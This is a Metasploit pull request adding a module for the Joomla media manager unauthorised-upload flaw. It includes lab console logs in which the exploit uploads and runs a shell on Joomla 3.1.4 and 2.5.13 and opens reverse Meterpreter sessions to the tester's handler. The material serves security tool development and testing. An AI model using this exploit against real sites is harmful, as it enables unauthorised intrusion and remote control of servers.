rapid7/metasploit-framework — pull request #2219 by jvazquez-r7 (2013-08-13 21:32:58+00:00)
Title: Add module for Joomla Upload Exploit in the wild

I think it's the last Joomla exploit in the wild:

http://developer.joomla.org/security/news/563-20130801-core-unauthorised-uploads
http://www.cso.com.au/article/523528/joomla_patches_file_manager_vulnerability_responsible_hijacked_websites/

Tested successfully on Joomla 2.5.13 and 3.1.4. I've tried to make the exploit reliable between versions, which has been a little pain, maybe because of my lack of joomla internals knowledge...

My tests:

* Joomla 3.1.4 with public access to the vuln component:

```
msf exploit(joomla_media_upload_exec) > set TARGETURI joomla31
TARGETURI => joomla31
msf exploit(joomla_media_upload_exec) > check

[*] 192.168.172.183:80 - Joomla Media Manager Found and authentication isn't required
[*] The target service is running, but could not be validated.
msf exploit(joomla_media_upload_exec) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.183:80 - Checking Access to Media Component...
[*] 192.168.172.183:80 - Authentication isn't required.... Proceeding...
[*] 192.168.172.183:80 - Accessing the Upload Form...
[*] 192.168.172.183:80 - Uploading shell...
[*] 192.168.172.183:80 - Executing shell...
[*] Sending stage (39195 bytes) to 192.168.172.183
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.183:59546) at 2013-08-13 16:17:09 -0500

meterpreter >
meterpreter > exit
[*] Shutting down Meterpreter...

```

* Joomla 2.5.13 with authenticated access to the vuln component:

```
msf exploit(joomla_media_upload_exec) > set rhost 192.168.172.183
rhost => 192.168.172.183
msf exploit(joomla_media_upload_exec) > set TARGETURI joomla25
TARGETURI => joomla25
msf exploit(joomla_media_upload_exec) > check

[*] 192.168.172.183:80 - Joomla Media Manager Found but authentication required
[*] The target service is running, but could not be validated.
msf exploit(joomla_media_upload_exec) > set USERNAME admin
USERNAME => admin
msf exploit(joomla_media_upload_exec) > set PASSWORD admin1234
PASSWORD => admin1234
msf exploit(joomla_media_upload_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.183:80 - Checking Access to Media Component...
[*] 192.168.172.183:80 - Authentication required... Proceeding...
[*] 192.168.172.183:80 - Accessing the Login Form...
[*] 192.168.172.183:80 - Accessing the Upload Form...
[*] 192.168.172.183:80 - Uploading shell...
[*] 192.168.172.183:80 - Executing shell...
[*] Sending stage (39195 bytes) to 192.168.172.183
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.183:59597) at 2013-08-13 16:32:47 -0500

```